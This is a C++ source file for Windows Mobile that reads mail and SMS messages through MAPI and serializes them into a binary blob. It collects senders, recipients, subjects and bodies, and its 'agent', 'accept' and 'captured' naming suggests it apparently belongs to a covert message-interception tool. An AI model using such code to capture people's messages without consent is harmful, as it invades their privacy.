#include <list>

#include "MAPICommon.h"
#include "MAPIAgent.h"
#include "MAPIMessage.h"
#include "MAPIAttachment.h"
#include "MAPISerialize.h"

#define INITGUID
#define USES_IID_IMAPITable
#include <mapiguid.h>

LPBYTE getMIMEBody(IMessage *pMsg, LPDWORD lpcbSize);
LPBYTE getHTMLBody(IMessage *pMsg, LPDWORD lpcbSize);
LPBYTE getTEXTBody(IMessage *pMsg, LPDWORD lpcbSize);
LPBYTE getWideCharBody( LPSTREAM stream, LPDWORD lpcbSize, BOOL isWide );

MAPIMessage::MAPIMessage(IMessage *pMsg)
: _pMsg(pMsg), _pMsgProps(NULL), _pAttachTable(NULL), 
_cbMsgProps(0), _lpMimeBody(NULL), _cbMimeBodySize(0),
_Class(NULL), _From(NULL), _Subject(NULL), _DeliveryTime(NULL), 
_hasAttach(FALSE), _To(NULL), _lpTextBody(NULL), _cbTextBodySize(0)
{ 
	LPTSTR alphabet = L"abcdefABCDEF1234567890";

	ZeroMemory(&_header, sizeof(_header));

	for (UINT i = 0; i < _filenameLength; i++)
		_lpFilename[i] = alphabet[rand() % _tcslen(alphabet)];
}

MAPIMessage::~MAPIMessage(void)
{ 
	if (_lpMimeBody) LocalFree(_lpMimeBody);
	if (_To) LocalFree(_To);
	if (_pMsgProps) MAPIFreeBuffer(_pMsgProps);
	if (_pAttachTable) _pAttachTable->Release();
	if (_pMsg) _pMsg->Release();

	/*
	for (std::list<MAPIAttachment*>::iterator i = attachments.begin(); i < attachments.end(); i++)
	delete *i;
	attachments.clear();
	*/
}

HRESULT MAPIMessage::Parse(FilterTypes type)
{
	HRESULT hr = E_FAIL;

	hr = _GetProperties();
	if (FAILED(hr))
	{
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR getting message properties]", 5, FALSE);
		return E_FAIL;
	}

	hr = _ParseProperties();
	if (FAILED(hr))
	{
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR parsing message properties]", 5, FALSE);
		return E_FAIL;
	}

	BOOL accepted = MAPIAgent::Instance()->Accept(this, type);
	if (accepted == FALSE) {
		DBG_TRACE(L"Debug - MAPIAdviseSink.cpp - OnNotify() [ERROR message not accepted]", 5, FALSE);
		return E_FAIL;
	}
	
	/* body and recipients are fetched only for mail (SMS do not have body) */
	if (isMail()) {
		_GetRecipients();
		_GetMessageBody();
	}
	
	return S_OK;
}

HRESULT MAPIMessage::_GetProperties( void )
{
	ULONG rgTags[] = {6,  PR_MESSAGE_CLASS,
		PR_MESSAGE_DELIVERY_TIME,
		// PR_CLIENT_SUBMIT_TIME,
		PR_EMAIL_ADDRESS,
		PR_SENDER_EMAIL_ADDRESS,
		PR_SUBJECT,
		PR_HASATTACH};

	HRESULT hr = _pMsg->GetProps((LPSPropTagArray)rgTags, MAPI_UNICODE, &_cbMsgProps, &_pMsgProps);
	if (hr != S_OK)
		return E_FAIL;

	return S_OK;
}

HRESULT MAPIMessage::_ParseProperties( void )
{
	for (ULONG idx = 0; idx < _cbMsgProps; idx++)
	{
		switch(_pMsgProps[idx].ulPropTag)
		{
		case PR_MESSAGE_CLASS:
			_Class = _pMsgProps[idx].Value.lpszW;
			break;
		case PR_MESSAGE_DELIVERY_TIME:
			_DeliveryTime = &_pMsgProps[idx].Value.ft;
			CopyMemory(&_header.DeliveryTime, _DeliveryTime, sizeof(FILETIME));
			break;
		case PR_CLIENT_SUBMIT_TIME:
			_DeliveryTime = &_pMsgProps[idx].Value.ft;
			CopyMemory(&_header.DeliveryTime, _DeliveryTime, sizeof(FILETIME));
			break;
		case PR_SENDER_EMAIL_ADDRESS:
			_From = _pMsgProps[idx].Value.lpszW;
			DBG_TRACE(_From, 5, FALSE);
			break;
		case PR_SUBJECT:
			_Subject = _pMsgProps[idx].Value.lpszW;
			DBG_TRACE(_Subject, 5, FALSE);
			break;
		case PR_HASATTACH:
			_hasAttach = static_cast<BOOL>(_pMsgProps[idx].Value.i);
			break;
		case PR_EMAIL_ADDRESS:
			_To = _pMsgProps[idx].Value.lpszW;
			DBG_TRACE(_To, 5, FALSE);
			break;
		default:
			{

			}
			break;
		}

		Sleep(5);
	}

	// set delivery time to current time (if we don't have a valid delivery time)
	if (_DeliveryTime == NULL) {
		SYSTEMTIME systemTime;
		GetSystemTime(&systemTime);
		SystemTimeToFileTime(&systemTime, &_header.DeliveryTime);
		_DeliveryTime = &_header.DeliveryTime;
	}

	return S_OK;
}

HRESULT MAPIMessage::_GetRecipients( void )
{
	if (_To != NULL) {
		LocalFree(_To);
		_To = NULL;
	}
	_To = (LPTSTR) LocalAlloc(LPTR, MAXBUF * sizeof(TCHAR));

	HRESULT hr = _WriteRecipientsToString(_To);
	if (FAILED(hr))
	{
		LocalFree(_To);
		_To = NULL;
		return E_FAIL;
	}

	return S_OK;
}

HRESULT MAPIMessage::_WriteRecipientsToString( LPTSTR pszTo )
{
	_ASSERT(_pMsg);

	HRESULT hr = E_FAIL;
	BOOL fFirstRecipient =   TRUE;
	size_t pcchA, pcchB;

	LPMAPITABLE pRecipientTable = NULL;
	hr = _pMsg->GetRecipientTable (0, &pRecipientTable);
	if (hr == MAPI_E_NO_RECIPIENTS)
		return S_OK;
	else if (FAILED(hr))
		return E_FAIL;

	/*
	SizedSPropTagArray(4, Columns) = { 4, { PR_DISPLAY_NAME, PR_EMAIL_ADDRESS, PR_RECIPIENT_TYPE, PR_ADDRTYPE}};

	hr = pRecipientTable->SetColumns((LPSPropTagArray)&Columns, 0);
	if (FAILED(hr))
	return E_FAIL;
	*/

	DWORD remainingChars = MAXBUF;

	LOOP
	{
		SRowSet * pRowSet = NULL;

		// Copy properties to the ADRLIST
		hr = pRecipientTable->QueryRows (1, 0, &pRowSet);
		if (FAILED(hr))
		{
			pRecipientTable->Release();
			return E_FAIL;
		}

		// Did we hit the end of the table?
		if (pRowSet->cRows != 1)
			break; 

		// Point just past the last property
		LPSPropValue pspvLast = pRowSet->aRow[0].lpProps + pRowSet->aRow[0].cValues;

		// Loop through all the properties returned for this row
		for (LPSPropValue pPropValue = pRowSet->aRow[0].lpProps; pPropValue < pspvLast; ++pPropValue)
		{
			switch (pPropValue->ulPropTag)
			{
				//At this point you may also be interested on PR_DISPLAY_NAME
			case PR_EMAIL_ADDRESS:

				// if this is not the first recipient, add comma before the next one
				if (!fFirstRecipient) 
				{
					hr = StringCchLength(pszTo, MAXBUF, &pcchA);
					if (FAILED(hr)) 
					{
						FreeProws(pRowSet);
						pRecipientTable->Release();           
						return E_FAIL;
					}

					// buffer is full, return
					if (remainingChars < 2 + 1) {
						FreeProws(pRowSet);
						pRecipientTable->Release();
						return S_OK;
					}

					hr = StringCchCat(pszTo, pcchA + 2 + 1, TEXT(", "));
					if (FAILED(hr)) 
					{
						FreeProws(pRowSet);
						pRecipientTable->Release();
						return E_FAIL;
					}

					remainingChars -= 2 + 1;
				}
				else 
				{
					fFirstRecipient = FALSE;
				}

				// get length of current recipient string
				hr = StringCchLength(pszTo, MAXBUF, &pcchA);
				if (FAILED(hr)) 
				{
					FreeProws(pRowSet);
					pRecipientTable->Release();
					return E_FAIL;
				}

				// get length of recipient to be added
				hr = StringCchLength(pPropValue->Value.lpszW, MAXBUF, &pcchB);
				if (FAILED(hr)) 
				{
					FreeProws(pRowSet);
					pRecipientTable->Release();
					return E_FAIL;
				}

				// if buffer is full, return
				if (remainingChars < pcchB + 1) {
					FreeProws(pRowSet);
					pRecipientTable->Release();
					return S_OK;
				}

				// concatenate the new recipient to those already present
				hr = StringCchCat(pszTo, pcchB + 1, pPropValue->Value.lpszW);
				if (FAILED(hr)) 
				{
					FreeProws(pRowSet);
					pRecipientTable->Release();
					return E_FAIL;
				}

				remainingChars -= pcchB + 1;

				break;

			default:
				break;
			}
		}

		FreeProws (pRowSet);
		pRowSet = NULL;
	}

	pRecipientTable->Release();

	return S_OK;
}

HRESULT MAPIMessage::_FormatDateTime( LPFILETIME ft, LPTSTR lpwDate, LPTSTR lpwTime )
{
	_ASSERT(ft);
	_ASSERT(lpwDate);
	_ASSERT(lpwTime);

	SYSTEMTIME st = {0};
	FileTimeToSystemTime(ft, &st);

	int lenDate = GetDateFormat(LOCALE_USER_DEFAULT, DATE_SHORTDATE, &st, NULL, NULL, 0);
	int err = GetDateFormat(LOCALE_USER_DEFAULT, DATE_SHORTDATE, &st, NULL, lpwDate, lenDate);
	if (err == 0)
		return E_FAIL;

	int lenTime = GetTimeFormat(LOCALE_USER_DEFAULT, TIME_FORCE24HOURFORMAT | TIME_NOTIMEMARKER, &st, NULL, NULL, 0);
	err = GetTimeFormat(LOCALE_USER_DEFAULT, 
		TIME_FORCE24HOURFORMAT | TIME_NOTIMEMARKER, 
		&st, 
		NULL, 
		lpwTime, 
		lenTime);
	if (err == 0)
		return E_FAIL;

	return S_OK;
}

HRESULT MAPIMessage::_GetMessageBody()
{	
	_lpMimeBody = getMIMEBody(_pMsg, &_cbMimeBodySize); 
	if (_lpMimeBody != NULL) {
		DBG_TRACE_INT(L"Debug - MAPIMessage.cpp - _GetMessageBody() [MIME body captured] size: ", 5, FALSE, _cbMimeBodySize);
		return S_OK;
	}
	
	_lpTextBody = getHTMLBody(_pMsg, &_cbTextBodySize);
	if (_lpTextBody != NULL) {
		//_ASSERT( _cbTextBodySize % sizeof(TCHAR) == 0 ); // check that unicode size is correct!
		DBG_TRACE_INT(L"Debug - MAPIMessage.cpp - _GetMessageBody() [HTML body captured] size: ", 5, FALSE, _cbTextBodySize);
		return S_OK;
	}
		
	_lpTextBody = getTEXTBody(_pMsg, &_cbTextBodySize);
	if (_lpTextBody != NULL) {
		//_ASSERT( _cbTextBodySize % sizeof(TCHAR) == 0); // check that unicode size is correct!
		DBG_TRACE_INT(L"Debug - MAPIMessage.cpp - _GetMessageBody() [TEXT body captured] size:", 5, FALSE, _cbTextBodySize);
		return S_OK;
	}
	
	DBG_TRACE(L"Debug - MAPIMessage.cpp - _GetMessageBody() [ERROR cannot capture message body]", 5, FALSE);
	return E_FAIL;
}

LPBYTE MAPIMessage::_GetAttachmentBody( LPATTACH pAttach, LPDWORD cbSize )
{
	_ASSERT(pAttach);
	_ASSERT(cbSize);
	
	/* set a safe value for size */
	*cbSize = 0;
	
	SPropTagArray tagArray; 
	tagArray.cValues = 1; 
	tagArray.aulPropTag[0] = PR_ATTACH_DATA_BIN;

	LPSTREAM pStream = NULL;
	HRESULT hr = pAttach->OpenProperty(PR_ATTACH_DATA_BIN, (LPIID)&IID_IStream, STGM_READ, 0, (LPUNKNOWN*)&pStream);
	if (FAILED(hr))
	{
		return NULL;
	}

	STATSTG stsg;
	hr = pStream->Stat(&stsg, STATFLAG_NONAME);
	if (FAILED(hr))
	{
		pStream->Release();
		return NULL;
	}

	(*cbSize) = (DWORD)stsg.cbSize.LowPart;

	LPBYTE lpBody = NULL;
	if ((*cbSize) > 0)
	{
		lpBody = (LPBYTE)LocalAlloc(LPTR, *cbSize);

		ULONG cbRead = 0;
		hr = pStream->Read(lpBody, *cbSize, &cbRead);
		if (FAILED(hr))
		{
			LocalFree(lpBody);
			pStream->Release();
			return NULL;
		}
	}

	pStream->Release();

	return lpBody;
}
MAPIAttachment* MAPIMessage::GetSingleAttachment()
{
	ASSERT(_pAttachTable);

	HRESULT hr = E_FAIL;
	SRowSet* pRowSet;

	hr = _pAttachTable->QueryRows(1, 0, &pRowSet);
	if (FAILED(hr))
		return NULL;

	// no more attachments?
	if (pRowSet->cRows != 1)
		return NULL;

	ULONG ulAttachNum = 0;
	LPTSTR lpFilename = NULL;
	LONG status = 0;
	LONG size = 0;

	ULONG cProps = pRowSet->aRow[0].cValues;
	for (ULONG j = 0; j < cProps; j++)
	{
		LPSPropValue pPropValue = &pRowSet->aRow[0].lpProps[j];
		ULONG ulTag = pPropValue->ulPropTag;
		switch(ulTag)
		{
		case PR_ATTACH_NUM:
			{
				ulAttachNum = static_cast<ULONG>(pPropValue->Value.ul);
			}
			break;
		case PR_ATTACH_FILENAME:
		case PR_ATTACH_LONG_FILENAME:
			{
				lpFilename = static_cast<LPTSTR>(pPropValue->Value.lpszW);
			}
			break;
		case PR_MSG_STATUS:
			break;
		case PR_ATTACH_SIZE:
			break;
		default:
			break;
		}

		Sleep(5);
	}

	if (lpFilename && (ulAttachNum != 0))
	{
		LPATTACH pAttach = NULL;
		hr = _pMsg->OpenAttach(ulAttachNum, NULL, MAPI_BEST_ACCESS, &pAttach);
		if (FAILED(hr))
		{
			FreeProws(pRowSet);
			pRowSet = NULL;
			return NULL;
		}

		MAPIAttachment* attach = new MAPIAttachment(pAttach, lpFilename);
		if (attach)
		{
			attach->SetStatus(status);
			attach->SetTotalSize(size);
		}

		FreeProws(pRowSet);
		pRowSet = NULL;

		return attach;
	}

	FreeProws(pRowSet);
	pRowSet = NULL;

	return NULL;
}

HRESULT MAPIMessage::Print(void)
{
	HRESULT hr = E_FAIL;
	TCHAR dbgString[256] = {0};

	// Class

	// DateTime
	if (_DeliveryTime != NULL)
	{
		LPTSTR lpwDate = (LPTSTR) LocalAlloc(LPTR, MAXBUF * sizeof(TCHAR));
		LPTSTR lpwTime = (LPTSTR) LocalAlloc(LPTR, MAXBUF * sizeof(TCHAR));
		hr = _FormatDateTime(_DeliveryTime, lpwDate, lpwTime);
		if (SUCCEEDED(hr))
		{

		}
		else
		{

		}
		LocalFree(lpwDate); LocalFree(lpwTime);
	}

	// From

	// Subject

	// Attach

	return S_OK;
}

void MAPIMessage::SetNumberOfAttach( DWORD nAttachs )
{
	_header.nAttachs = nAttachs;
}


LONG MAPIMessage::Size()
{
	return _header.Size;
}

#if 0
HRESULT MAPIMessage::GetAttachments( void )
{
	HRESULT hr = _OpenAttachments();
	if (FAILED(hr))
		return hr;

	MAPIAttachment* attach = NULL;
	while ((attach = GetSingleAttachment()) != NULL)
	{
		ASSERT(attach);
		attachments.push_back(attach);
	}

	return S_OK;
}
#endif

LPBYTE MAPIMessage::Serialize( LPDWORD lpdwLength )
{
	_ASSERT(lpdwLength);

	MAPISerializedMessageHeader* header = Header();
	if (header == NULL)
		return NULL;

	// Set Protocol Version
	header->VersionFlags |= MAPI_V1_0_PROTO;

	MAPISerializer<ObjectTypes> serializer;

	// calculate size of blob
	DWORD cbBlobSize = 0;
	cbBlobSize = sizeof(MAPISerializedMessageHeader);       // size of _header struct
	cbBlobSize += serializer.SerializedWStringLength(Folder());
	cbBlobSize += serializer.SerializedWStringLength(Class());
	cbBlobSize += serializer.SerializedWStringLength(From());
	cbBlobSize += serializer.SerializedWStringLength(To());
	// cbBlobSize += serializer.SerializedWStringLength(Cc());
	cbBlobSize += serializer.SerializedWStringLength(Subject());
	
	// account for body size
	DWORD cbMimeBodySize = 0;
	DWORD cbTextBodySize = 0;
	LPBYTE lpMimeBody = MIMEBody(&cbMimeBodySize);
	LPBYTE lpTextBody = TEXTBody(&cbTextBodySize);
	
	if (lpMimeBody && cbMimeBodySize > 0) {
		// MIME body length
		cbBlobSize += serializer.SerializedObjectLength(cbMimeBodySize);
	} else if (lpTextBody && cbTextBodySize > 0) {
		// HTML/TEXT body length
		cbBlobSize += serializer.SerializedObjectLength(cbTextBodySize);
	}
	
	// allocate buffer for serialized message
	LPBYTE lpBlob = (LPBYTE) LocalAlloc(LPTR, cbBlobSize);
	if (lpBlob == NULL)
		return NULL;
	
	LPBYTE ptr = lpBlob;
	
	// fixup serialized message size in header
	header->dwSize = cbBlobSize;
	
	// skip header for now
	ptr += sizeof(MAPISerializedMessageHeader);

	// serialize strings
	if (Folder())
	{
		DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, Folder(), STRING_FOLDER);
		ptr += cbSerializedStringSize;
	}

	if (Class())
	{
		DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, Class(), STRING_CLASS);
		ptr += cbSerializedStringSize;
	}

	if (From())
	{
		DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, From(), STRING_FROM);
		ptr += cbSerializedStringSize;
	}

	if (To())
	{
		DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, To(), STRING_TO);
		ptr += cbSerializedStringSize;
	}

	if (Subject())
	{
		DWORD cbSerializedStringSize = serializer.SerializeWString(ptr, Subject(), STRING_SUBJECT);
		ptr += cbSerializedStringSize;
	}

	// MIME body
	if (cbMimeBodySize > 0)
	{
		DWORD cbSerializedObjectSize = serializer.SerializeObject(ptr, lpMimeBody, cbMimeBodySize, OBJECT_MIMEBODY);
		ptr += cbSerializedObjectSize;
	}
	
	// HTML/TEXT body
	if (cbTextBodySize > 0)
	{
		DWORD cbSerializedObjectSize = serializer.SerializeObject(ptr, lpTextBody, cbTextBodySize, OBJECT_TEXTBODY);
		ptr += cbSerializedObjectSize;
	}
	
	// Attachments
	if (HasAttachments())
	{
#pragma message(__LOC__"*** ATTACHMENTS SERIALIZATION NOT IMPLEMENTED!")
	}

	// write header
	CopyMemory(lpBlob, header, sizeof(MAPISerializedMessageHeader));

	(*lpdwLength) = cbBlobSize;

	return lpBlob;
}

LPBYTE getMIMEBody(IMessage *pMsg, LPDWORD lpcbSize) 
{
	ASSERT(pMsg);
	ASSERT(lpcbSize);
	
	// set a safe size
	*lpcbSize = 0;
	
	IStream* istream = NULL;
	HRESULT hr = pMsg->OpenProperty(PR_CE_MIME_TEXT, &IID_IStream, STGM_READ, 0, (LPUNKNOWN*)&istream);
	if (FAILED(hr))
	{
		DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [message is not MIME encoded]", 5, FALSE);

		ASSERT(*lpcbSize == 0);
		return NULL;
	}
	
	STATSTG stg;
	hr = istream->Stat(&stg, STATFLAG_NONAME);
	if (FAILED(hr))
	{
		DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [ERROR cannot stat body stream]", 5, FALSE);
		istream->Release();
		
		return NULL;
	}
	
	DWORD cbBodySize = stg.cbSize.LowPart;
	if (cbBodySize == 0) {
		istream->Release();	
		
		return NULL;
	}

	LPBYTE lpBody = (LPBYTE)LocalAlloc(LPTR, cbBodySize);

	hr = istream->Read(lpBody, cbBodySize, lpcbSize);
	if (FAILED(hr))
	{
		DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [ERROR cannot read body]", 5, FALSE);

		LocalFree(lpBody);
		istream->Release();
		
		return NULL;
	}

	istream->Release();
	
	DBG_TRACE(L"Debug - MAPIMessage.cpp - getMIMEBody() [got message body]", 5, FALSE);
	
	*lpcbSize = cbBodySize;
	return lpBody;
}

LPBYTE getHTMLBody(IMessage *pMsg, LPDWORD lpcbSize)
{
	// set a safe size
	*lpcbSize = 0;

	LPSTREAM pstmBody = NULL;
	HRESULT hr = E_FAIL;
	
	hr = pMsg->OpenProperty (PR_BODY_HTML_W, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
	if ( hr == S_OK ) {
		LPBYTE body = getWideCharBody( pstmBody, lpcbSize, TRUE );
		if (body) return body;
	}
	
	hr = pMsg->OpenProperty (PR_BODY_HTML_A, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
	if ( hr == S_OK ) {
		LPBYTE body = getWideCharBody( pstmBody, lpcbSize, FALSE );
		if (body) return body;
	}

#if 0
	hr = pMsg->OpenProperty (PR_BODY_HTML, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
	if ( hr == S_OK ) {
		LPBYTE body = getWideCharBody( pstmBody, lpcbSize, TRUE );
		if (body) return body;
	}
#endif

	*lpcbSize = 0;
	return NULL;
}

LPBYTE getTEXTBody(IMessage *pMsg, LPDWORD lpcbSize)
{
	// set a safe size
	*lpcbSize = 0;
	
	LPSTREAM pstmBody = NULL;
	HRESULT hr = E_FAIL;
	
	hr = pMsg->OpenProperty (PR_BODY_W, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
	if ( hr == S_OK ) {
		LPBYTE body = getWideCharBody( pstmBody, lpcbSize, TRUE );
		if (body) return body;
	}
	
	hr = pMsg->OpenProperty (PR_BODY_A, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
	if ( hr == S_OK ) {
		LPBYTE body = getWideCharBody( pstmBody, lpcbSize, FALSE );
		if (body) return body;
	}
	
#if 0
	hr = pMsg->OpenProperty (PR_BODY, NULL, STGM_READ, 0, (IUnknown **) &pstmBody);
	if ( hr == S_OK ) {
		LPBYTE body = getWideCharBody( pstmBody, lpcbSize, FALSE );
		if (body) return body;
	}
#endif
	
	*lpcbSize = 0;
	return NULL;
}

LPBYTE getWideCharBody( LPSTREAM stream, LPDWORD lpcbSize, BOOL isWide )
{   
	// Safe value for size
	*lpcbSize = 0;

	//Get the size of the body
	STATSTG statstg;
	HRESULT hr = stream->Stat(&statstg, STATFLAG_NONAME);
	if (FAILED(hr))
		return NULL;
	
	//Allocate a buffer for the stream
	DWORD numBytes = statstg.cbSize.LowPart;
	
#if DEBUG
	if (numBytes == 0)
		DBG_TRACE(L"Debug - MAPIMessage.cpp - getWideCharBody() [message has size == 0]", 5, FALSE);
#endif
	
	LPBYTE body = new BYTE[numBytes + 1];
	ZeroMemory(body, numBytes);
	
	// read stream array (IStream::Read wants a BYTE* as 1st arg)
	ULONG bytesRead = 0;
	hr = stream->Read (body, numBytes, &bytesRead);
	if (FAILED(hr))
		return NULL;

	if ( isWide == TRUE ) {
		// return as is
		*lpcbSize = bytesRead;
		return body;
	}
	
	int cchWide = MultiByteToWideChar(CP_ACP, 0, (char*)body, -1, 0, 0); 
	
	LPTSTR wideBody = new TCHAR[cchWide];
	ZeroMemory(wideBody, cchWide * sizeof(TCHAR));
	
	MultiByteToWideChar(CP_ACP, 0, (char*)body, -1, wideBody, cchWide); 
	
	*lpcbSize = cchWide * sizeof(TCHAR);
	if (*lpcbSize == 0)
		return NULL;
	
	return (LPBYTE) wideBody;
}
